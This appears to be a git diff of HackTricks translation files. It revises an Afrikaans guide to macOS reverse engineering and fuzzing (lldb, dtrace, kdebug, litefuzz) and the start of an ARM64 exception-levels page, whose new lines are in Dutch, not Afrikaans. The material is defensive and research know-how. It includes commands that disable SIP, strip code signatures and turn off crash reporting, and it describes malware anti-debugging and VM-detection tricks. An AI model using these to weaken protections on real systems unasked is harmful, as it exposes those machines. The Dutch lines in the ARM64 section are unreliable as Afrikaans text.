jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -234,7 +235,7 @@ swift demangle
## Dinamiese Analise
{% hint style="warning" %}
Let daarop dat ten einde bineêre lêers te ontleed, **moet SIP gedeaktiveer wees** (`csrutil disable` of `csrutil enable --without debug`) of die bineêre lêers na 'n tydelike vouer kopieer en die handtekening **verwyder** met `codesign --remove-signature <binede-pad>` of die ontleed van die bineêre lêer toelaat (jy kan [hierdie skripsie](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) gebruik)
Let daarop dat ten einde bineêre lêers te ontleed, **moet SIP gedeaktiveer wees** (`csrutil disable` of `csrutil enable --without debug`) of kopieer die bineêre lêers na 'n tydelike vouer en **verwyder die handtekening** met `codesign --remove-signature <binede-pad>` of staan die ontleed van die bineêre lêer toe (jy kan [hierdie skripsie](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b) gebruik)
{% endhint %}
{% hint style="warning" %}
@ -245,10 +246,10 @@ Let daarop dat ten einde **sisteem bineêre lêers** (soos `cloudconfigurationd`
macOS stel 'n paar interessante API's bloot wat inligting oor die prosesse gee:
* `proc_info`: Dit is die hoofeen wat baie inligting oor elke proses gee. Jy moet 'n beheerder wees om inligting oor ander prosesse te kry, maar jy het nie spesiale toestemmings of mach-poorte nodig nie.
* `proc_info`: Dit is die belangrikste een wat baie inligting oor elke proses gee. Jy moet 'n beheerder wees om ander prosesse se inligting te kry, maar jy het nie spesiale toestemmings of mach-poorte nodig nie.
* `libsysmon.dylib`: Dit maak dit moontlik om inligting oor prosesse te kry via XPC blootgestelde funksies, maar dit is nodig om die toestemming `com.apple.sysmond.client` te hê.
### Stackshot & mikrostapelopnames
### Stackshot & microstackshots
**Stackshotting** is 'n tegniek wat gebruik word om die toestand van die prosesse vas te lê, insluitend die oproepstapel van alle lopende drade. Dit is veral nuttig vir ontleed, prestasie-analise, en om die gedrag van die stelsel op 'n spesifieke tydstip te verstaan. Op iOS en macOS kan stackshotting uitgevoer word met verskeie gereedskap en metodes soos die gereedskap **`sample`** en **`spindump`**.
@ -262,7 +263,7 @@ Die plist daarvan is geleë in `/System/Library/LaunchDaemons/com.apple.sysdiagn
* `com.apple.sysdiagnose.CacheDelete`: Verwyder ou argiewe in /var/rmp
* `com.apple.sysdiagnose.kernel.ipc`: Spesiale poort 23 (kernel)
* `com.apple.sysdiagnose.service.xpc`: Gebruikermodus koppelvlak deur `Libsysdiagnose` Obj-C klas. Drie argumente in 'n woordelys kan oorgedra word (`compress`, `display`, `run`)
* `com.apple.sysdiagnose.service.xpc`: Gebruikermodus koppelvlak deur `Libsysdiagnose` Obj-C klas. Drie argumente in 'n dict kan deurgegee word (`compress`, `display`, `run`)
### Eenvormige Logboeke
@ -274,7 +275,7 @@ Daar is ook logboeke wat die tag `<private>` sal bevat om sekere **gebruiker** o
#### Linker paneel
In die linker paneel van hopper is dit moontlik om die simbole (**Etikette**) van die bineêre lêer, die lys van prosedures en funksies (**Proc**) en die strings (**Str**) te sien. Dit is nie al die strings nie, maar diegene wat in verskeie dele van die Mac-O-lêer gedefinieer is (soos _cstring of_ `objc_methname`).
In die linker paneel van hopper is dit moontlik om die simbole (**Etikette**) van die bineêre lêer, die lys van prosedures en funksies (**Proc**) en die strings (**Str**) te sien. Dit is nie al die strings nie, maar diegene wat in verskeie dele van die Mac-O lêer gedefinieer is (soos _cstring of_ `objc_methname`).
#### Middelste paneel
@ -282,21 +283,21 @@ In die middelste paneel kan jy die **ontleedde kode** sien. En jy kan dit sien a
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
Deur regs te klik op 'n kodeobjek kan jy **verwysings na/van daardie objek** sien of selfs sy naam verander (dit werk nie in ontleedde pseudokode nie):
Deur regs te klik op 'n kode objek kan jy **verwysings na/van daardie objek** sien of selfs sy naam verander (dit werk nie in ontledde pseudokode nie):
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
Verder kan jy in die **middel onder python-opdragte skryf**.
Verder kan jy in die **middel onder python bevele skryf**.
#### Regter paneel
In die regter paneel kan jy interessante inligting sien soos die **navigasiegeskiedenis** (sodat jy weet hoe jy by die huidige situasie uitgekom het), die **oproepgrafiek** waar jy al die **funksies kan sien wat hierdie funksie aanroep** en al die funksies wat **hierdie funksie aanroep**, en **plaaslike veranderlikes**-inligting.
In die regter paneel kan jy interessante inligting sien soos die **navigasiegeskiedenis** (sodat jy weet hoe jy by die huidige situasie uitgekom het), die **oproepgrafiek** waar jy al die **funksies kan sien wat hierdie funksie aanroep** en al die funksies wat **hierdie funksie aanroep**, en **plaaslike veranderlikes** inligting.
### dtrace
Dit gee gebruikers toegang tot toepassings op 'n uiters **lae vlak** en bied 'n manier vir gebruikers om **programme te volg** en selfs hul uitvoervloei te verander. Dtrace gebruik **sondes** wat **deur die hele kernel geplaas is** en is op plekke soos die begin en einde van stelseloproepe.
DTrace gebruik die **`dtrace_probe_create`**-funksie om 'n sonde vir elke stelseloproep te skep. Hierdie sonde kan in die **ingangs- en uitgangspunt van elke stelseloproep** afgevuur word. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die rootgebruiker.
DTrace gebruik die **`dtrace_probe_create`** funksie om 'n sonde vir elke stelseloproep te skep. Hierdie sonde kan in die **ingangs- en uitgangspunt van elke stelseloproep** afgevuur word. Die interaksie met DTrace vind plaas deur /dev/dtrace wat slegs beskikbaar is vir die rootgebruiker.
{% hint style="success" %}
Om Dtrace te aktiveer sonder om SIP-beskerming heeltemal te deaktiveer, kan jy in herstelmodus uitvoer: `csrutil enable --without dtrace`
@ -378,9 +379,9 @@ Dit is 'n kernel naspeurfasiliteit. Die gedokumenteerde kodes kan gevind word in
Gereedskap soos `latency`, `sc_usage`, `fs_usage` en `trace` gebruik dit intern.
Om met `kdebug` te kommunikeer, word `sysctl` oor die `kern.kdebug`-naamruimte gebruik en die MIB's wat gebruik moet word, kan gevind word in `sys/sysctl.h` met die funksies geïmplementeer in `bsd/kern/kdebug.c`.
Om met `kdebug` te kommunikeer, word `sysctl` oor die `kern.kdebug`-naamruimte gebruik en die MIB's wat gebruik moet word, kan gevind word in `sys/sysctl.h` met die funksies wat geïmplementeer is in `bsd/kern/kdebug.c`.
Om met kdebug te skakel met 'n aangepaste klient, is hierdie gewoonlik die stappe:
Om met kdebug te kommunikeer met 'n aangepaste klient, is hierdie gewoonlik die stappe:
* Verwyder bestaande instellings met KERN\_KDSETREMOVE
* Stel naspeuring in met KERN\_KDSETBUF en KERN\_KDSETUP
@ -390,13 +391,13 @@ Om met kdebug te skakel met 'n aangepaste klient, is hierdie gewoonlik die stapp
* Lees die buffer deur KERN\_KDREADTR te roep
* Om elke draad met sy proses te koppel, roep KERN\_KDTHRMAP aan.
Om hierdie inligting te kry, is dit moontlik om die Apple-gereedskap **`trace`** of die aangepaste gereedskap [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** te gebruik.**
Om hierdie inligting te verkry, is dit moontlik om die Apple-gereedskap **`trace`** of die aangepaste gereedskap [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)** te gebruik.**
**Let daarop dat Kdebug slegs beskikbaar is vir 1 kliënt op 'n slag.** Slegs een k-debug aangedrewe gereedskap kan dus gelyktydig uitgevoer word.
### ktrace
Die `ktrace_*` API's kom van `libktrace.dylib` wat dié van `Kdebug` omvou. Dan kan 'n klient net `ktrace_session_create` en `ktrace_events_[single/class]` roep om terugroependes op spesifieke kodes in te stel en dit dan met `ktrace_start` te begin.
Die `ktrace_*` API's kom van `libktrace.dylib` wat dié van `Kdebug` omvou. Dan kan 'n klient net `ktrace_session_create` en `ktrace_events_[single/class]` noem om terugroependes op spesifieke kodes in te stel en dit dan met `ktrace_start` te begin.
Jy kan hierdie selfs met **SIP geaktiveer** gebruik.
@ -448,9 +449,9 @@ Maak dit moontlik om aksies wat deur prosesse uitgevoer word, te volg:
fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls
fs_usage -w -f network curl #This tracks network actions
```
### Taakverkenner
### Taakontleder
[**Taakverkenner**](https://objective-see.com/products/taskexplorer.html) is nuttig om die **biblioteke** wat deur 'n binêre lêer gebruik word, die **lêers** wat dit gebruik, en die **netwerk**-verbindings te sien.\
[**Taakontleder**](https://objective-see.com/products/taskexplorer.html) is nuttig om die **biblioteke** wat deur 'n binêre lêer gebruik word, die **lêers** wat dit gebruik en die **netwerk**-verbindings te sien.\
Dit kontroleer ook die binêre prosesse teen **virustotal** en toon inligting oor die binêre lêer.
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
@ -466,7 +467,7 @@ lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
Jy kan die intel geur instel wanneer jy lldb gebruik deur 'n lêer genaamd **`.lldbinit`** in jou tuisvouer te skep met die volgende lyn:
Jy kan die intel geur instel wanneer jy lldb gebruik deur 'n lêer genaamd **`.lldbinit`** in jou tuisgids te skep met die volgende lyn:
```bash
settings set target.x86-disassembly-flavor intel
```
@ -474,31 +475,31 @@ settings set target.x86-disassembly-flavor intel
Binne lldb, dump 'n proses met `process save-core`
{% endhint %}
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Opdrag</strong></td><td><strong>Beskrywing</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Begin uitvoering, wat ononderbroke sal voortgaan totdat 'n breekpunt getref word of die proses eindig.</td></tr><tr><td><strong>continue (c)</strong></td><td>Laat die uitvoering van die gedebugde proses voortgaan.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Voer die volgende instruksie uit. Hierdie opdrag sal oorspring oor funksie-oproepe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.</td></tr><tr><td><strong>finish (f)</strong></td><td>Voer die res van die instruksies in die huidige funksie ("raamwerk") uit en hou op.</td></tr><tr><td><strong>beheer + c</strong></td><td>Onderbreek uitvoering. As die proses uitgevoer (r) of voortgesit (c) is, sal dit veroorsaak dat die proses halthou ... waar dit tans uitgevoer word.</td></tr><tr><td><strong>breekpunt (b)</strong></td><td><p>b main #Enige funksie genoem main</p><p>b &#x3C;binnaam>`main #Hoof funksie van die bin</p><p>b set -n main --shlib &#x3C;lib_naam> #Hoof funksie van die aangeduide bin</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Breekpuntlys</p><p>br e/dis &#x3C;nommer> #Aktiveer/Deaktiveer breekpunt</p><p>breekpunt delete &#x3C;nommer></p></td></tr><tr><td><strong>help</strong></td><td><p>help breekpunt #Kry hulp van breekpuntopdrag</p><p>help geheue skryf #Kry hulp om in die geheue te skryf</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg lees</p><p>reg lees $rax</p><p>reg lees $rax --formaat &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formaat</a>></p><p>reg skryf $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/geheue-adres></strong></td><td>Wys die geheue as 'n nul-geëindigde string.</td></tr><tr><td><strong>x/i &#x3C;reg/geheue-adres></strong></td><td>Wys die geheue as samestellingsinstruksie.</td></tr><tr><td><strong>x/b &#x3C;reg/geheue-adres></strong></td><td>Wys die geheue as byte.</td></tr><tr><td><strong>druk voorwerp af (po)</strong></td><td><p>Dit sal die voorwerp wat deur die parameter verwys word, druk</p><p>po $ra</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Merk op dat die meeste van Apple se Objective-C API's of metodes voorwerpe teruggee, en dus moet dit vertoon word via die "druk voorwerp" (po) opdrag. As po nie 'n betekenisvolle uitset lewer nie, gebruik <code>x/b</code></p></td></tr><tr><td><strong>geheue</strong></td><td>geheue lees 0x000....<br>geheue lees $x0+0xf2a<br>geheue skryf 0x100600000 -s 4 0x41414141 #Skryf AAAA in daardie adres<br>geheue skryf -f s $rip+0x11f+7 "AAAA" #Skryf AAAA in die adres</td></tr><tr><td><strong>ontassembling</strong></td><td><p>ontas #Ontas huidige funksie</p><p>ontas -n &#x3C;funksienaam> #Ontas funksie</p><p>ontas -n &#x3C;funksienaam> -b &#x3C;basenaam> #Ontas funksie<br>ontas -c 6 #Ontas 6 lyne<br>ontas -c 0x100003764 -e 0x100003768 # Van een adres tot die ander<br>ontas -p -c 4 # Begin in die huidige adres met ontas</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Kontroleer 'n reeks van 3 komponente in x1 reg</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Opdrag</strong></td><td><strong>Beskrywing</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Begin uitvoering, wat ononderbroke sal voortgaan totdat 'n breekpunt getref word of die proses eindig.</td></tr><tr><td><strong>continue (c)</strong></td><td>Laat die uitvoering van die gedebugde proses voortgaan.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Voer die volgende instruksie uit. Hierdie opdrag sal oorspring oor funksie-oproepe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.</td></tr><tr><td><strong>finish (f)</strong></td><td>Voer die res van die instruksies in die huidige funksie ("raam") uit en hou op.</td></tr><tr><td><strong>control + c</strong></td><td>Onderbreek uitvoering. As die proses uitgevoer (r) of voortgesit (c) is, sal dit veroorsaak dat die proses halthou waar dit tans uitgevoer word.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Enige funksie genoem main</p><p>b &#x3C;binnaam>`main #Hoof funksie van die bin</p><p>b set -n main --shlib &#x3C;lib_naam> #Hoof funksie van die aangeduide bin</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Breekpunt lys</p><p>br e/dis &#x3C;nommer> #Aktiveer/Deaktiveer breekpunt</p><p>breakpoint delete &#x3C;nommer></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kry hulp van breekpunt-opdrag</p><p>help memory write #Kry hulp om in die geheue te skryf</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">formaat</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as 'n nul-geëindigde string.</td></tr><tr><td><strong>x/i &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as samestellingsinstruksie.</td></tr><tr><td><strong>x/b &#x3C;reg/geheue adres></strong></td><td>Vertoon die geheue as byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dit sal die voorwerp wat deur die parameter verwys word, druk</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Merk op dat die meeste van Apple se Objective-C API's of metodes voorwerpe teruggee, en dus vertoon moet word via die "druk voorwerp" (po) opdrag. As po nie 'n betekenisvolle uitset lewer nie, gebruik <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Skryf AAAA in daardie adres<br>memory write -f s $rip+0x11f+7 "AAAA" #Skryf AAAA in die adres</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Ontas huidige funksie</p><p>dis -n &#x3C;funksienaam> #Ontas funksie</p><p>dis -n &#x3C;funksienaam> -b &#x3C;basenaam> #Ontas funksie<br>dis -c 6 #Ontas 6 lyne<br>dis -c 0x100003764 -e 0x100003768 # Van een adres tot die ander<br>dis -p -c 4 # Begin in die huidige adres met ontas</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Kontroleer 'n reeks van 3 komponente in x1 reg</td></tr></tbody></table>
{% hint style="info" %}
Wanneer die **`objc_sendMsg`**-funksie geroep word, hou die **rsi** register die **naam van die metode** as 'n nul-geëindigde ("C") string. Om die naam via lldb af te druk:
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
`(lldb) druk (char*)$rsi:`\
`(lldb) print (char*)$rsi:`\
`(char *) $1 = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
`(lldb) reg lees $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
`(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
{% endhint %}
### Anti-Dinamiese Analise
#### VM-opsporing
#### VM opsporing
* Die opdrag **`sysctl hw.model`** gee "Mac" terug wanneer die **gasheer 'n MacOS** is, maar iets anders wanneer dit 'n VM is.
* Deur te speel met die waardes van **`hw.logicalcpu`** en **`hw.physicalcpu`** probeer sommige kwaadwillige sagteware om te bepaal of dit 'n VM is.
* Sommige kwaadwillige sagteware kan ook **vasstel** of die masjien **VMware**-gebaseer is op grond van die MAC-adres (00:50:56).
* Dit is ook moontlik om te vind of 'n proses gedebugeer word met 'n eenvoudige kode soos:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proses wat gedebugeer word }`
* Dit kan ook die **`ptrace`**-sisteemaanroep aanroep met die **`PT_DENY_ATTACH`**-vlag. Dit **voorkom** dat 'n deb**u**gger aanheg en naspeur.
* Dit kan ook die **`ptrace`**-sisteemaanroep aanroep met die **`PT_DENY_ATTACH`**-vlag. Dit **voorkom** dat 'n deb**u**gger kan aanheg en naspeur.
* Jy kan nagaan of die **`sysctl`** of **`ptrace`**-funksie **ingevoer** word (maar die kwaadwillige sagteware kan dit dinamies invoer)
* Soos opgemerk in hierdie uiteensetting, “[Anti-Debug Tegnieke oorwin: macOS ptrace variasies](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
* Soos opgemerk in hierdie uiteensetting, “[Anti-Debug Tegnieke Oorwin: macOS ptrace variasies](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
“_Die boodskap Proses # het geëindig met **status = 45 (0x0000002d)** is gewoonlik 'n duidelike teken dat die doel van die debuut **PT\_DENY\_ATTACH** gebruik_”
## Kernafval
@ -514,11 +515,11 @@ In daardie gevalle word die kernafval gegenereer volgens `kern.corefile` sysctl
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **analiseer afbreekprosesse en stoor 'n afbreekverslag op die skyf**. 'n Afbreekverslag bevat inligting wat kan **help om die oorsaak van 'n afbreek te diagnoseer**.\
ReportCrash **analiseer afbreekprosesse en stoor 'n afbreekverslag op die skyf**. 'n Afbreekverslag bevat inligting wat 'n ontwikkelaar kan help om die oorsaak van 'n afbreek te diagnoseer.\
Vir aansoeke en ander prosesse wat **in die per-gebruiker launchd konteks loop**, hardloop ReportCrash as 'n LaunchAgent en stoor afbreekverslae in die gebruiker se `~/Library/Logs/DiagnosticReports/`\
Vir daemons, ander prosesse wat **in die stelsel launchd konteks loop** en ander bevoorregte prosesse, hardloop ReportCrash as 'n LaunchDaemon en stoor afbreekverslae in die stelsel se `/Library/Logs/DiagnosticReports`
As jy bekommerd is oor afbreekverslae wat **na Apple gestuur word**, kan jy hulle deaktiveer. Indien nie, kan afbreekverslae nuttig wees om **uit te vind hoe 'n bediener afgebreek het**.
As jy bekommerd is oor afbreekverslae **wat aan Apple gestuur word** kan jy hulle deaktiveer. Indien nie, kan afbreekverslae nuttig wees om **uit te vind hoe 'n bediener afgebreek het**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -530,13 +531,13 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
```
### Slaap
Tydens fuzzing in 'n MacOS is dit belangrik om die Mac nie te laat slaap nie:
Tydens die fuzzing in 'n MacOS is dit belangrik om die Mac nie te laat slaap nie:
* systemsetup -setsleep Never
* pmset, Sisteemvoorkeure
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
#### SSH Onderbreek
#### SSH Ontkoppel
As jy fuzzing doen via 'n SSH-verbinding is dit belangrik om seker te maak dat die sessie nie gaan verstryk nie. Verander dus die sshd\_config-lêer met:
@ -549,7 +550,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Interne Handlers
**Kyk na die volgende bladsy** om uit te vind hoe jy kan bepaal watter app verantwoordelik is vir **die hanteer van die gespesifiseerde skema of protokol:**
**Kyk na die volgende bladsy** om uit te vind hoe jy kan bepaal watter toepassing verantwoordelik is vir **die hanteer van die gespesifiseerde skema of protokol:**
{% content-ref url="../macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
@ -587,6 +588,8 @@ Werk vir CLI-gereedskap
Dit "**werk net"** met macOS GUI-gereedskap. Let op dat sommige macOS-toepassings spesifieke vereistes het soos unieke lêernaam, die regte uitbreiding, moet die lêers lees vanuit die sandboks (`~/Library/Containers/com.apple.Safari/Data`)...
Sommige voorbeelde:
{% code overflow="wrap" %}
```bash
# iBooks
litefuzz -l -c "/System/Applications/Books.app/Contents/MacOS/Books FUZZ" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez
@ -630,24 +633,25 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** gekompromitteer is.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal malware** gekompromitteer is.
Hul primêre doel van WhiteIntel is om rekening-oorneem te bekamp en losgeldware-aanvalle te voorkom wat voortspruit uit inligtingsteel-malware.
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,65 +1,66 @@
# Inleiding tot ARM64v8
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## **Uitsonderingsvlakke - EL (ARM64v8)**
## **Uitzonderingsniveaus - EL (ARM64v8)**
In die ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Uitsonderingsvlakke (EL's), die voorregvlak en -vermoëns van die uitvoeringsomgewing. Daar is vier uitsonderingsvlakke, wat strek van EL0 tot EL3, elk met 'n ander doel:
In de ARMv8-architectuur definiëren uitvoeringsniveaus, bekend als Uitzonderingsniveaus (EL's), het privilege niveau en de mogelijkheden van de uitvoeringsomgeving. Er zijn vier uitzonderingsniveaus, variërend van EL0 tot EL3, die elk een ander doel dienen:
1. **EL0 - Gebruikermodus**:
* Dit is die minst bevoorregte vlak en word gebruik vir die uitvoering van gewone aansoekkode.
* Toepassings wat by EL0 hardloop, is van mekaar en van die stelsel sagteware geïsoleer, wat die veiligheid en stabiliteit verbeter.
2. **EL1 - Bedryfstelsel-kernelmodus**:
* Die meeste bedryfstelselkerne hardloop op hierdie vlak.
* EL1 het meer voorregte as EL0 en kan toegang tot stelselbronne verkry, maar met sekere beperkings om stelselintegriteit te verseker.
3. **EL2 - Hipervisormodus**:
* Hierdie vlak word vir virtualisering gebruik. 'n Hipervisor wat by EL2 hardloop, kan verskeie bedryfstelsels (elk in sy eie EL1) bestuur wat op dieselfde fisiese hardeware hardloop.
* EL2 bied eienskappe vir isolasie en beheer van die gevirtualiseerde omgewings.
4. **EL3 - Sekuriteitsmonitor-modus**:
* Dit is die mees bevoorregte vlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings.
* EL3 kan toegange tussen veilige en nie-veilige toestande bestuur en beheer (soos veilige opstart, vertroude OS, ens.).
1. **EL0 - Gebruikersmodus**:
* Dit is het minst bevoorrechte niveau en wordt gebruikt voor het uitvoeren van reguliere toepassingscode.
* Toepassingen die op EL0 draaien, zijn geïsoleerd van elkaar en van de systeemsoftware, wat de beveiliging en stabiliteit verbetert.
2. **EL1 - Besturingssysteem Kernelmodus**:
* De meeste besturingssysteemkernen draaien op dit niveau.
* EL1 heeft meer privileges dan EL0 en kan toegang krijgen tot systeembronnen, maar met enkele beperkingen om de systeemintegriteit te waarborgen.
3. **EL2 - Hypervisor-modus**:
* Dit niveau wordt gebruikt voor virtualisatie. Een hypervisor die op EL2 draait, kan meerdere besturingssystemen beheren (elk in zijn eigen EL1) die op dezelfde fysieke hardware draaien.
* EL2 biedt functies voor isolatie en controle van de gevirtualiseerde omgevingen.
4. **EL3 - Beveiligde Monitor-modus**:
* Dit is het meest bevoorrechte niveau en wordt vaak gebruikt voor veilig opstarten en vertrouwde uitvoeringsomgevingen.
* EL3 kan toegangen beheren en controleren tussen beveiligde en niet-beveiligde toestanden (zoals veilig opstarten, vertrouwd OS, enz.).
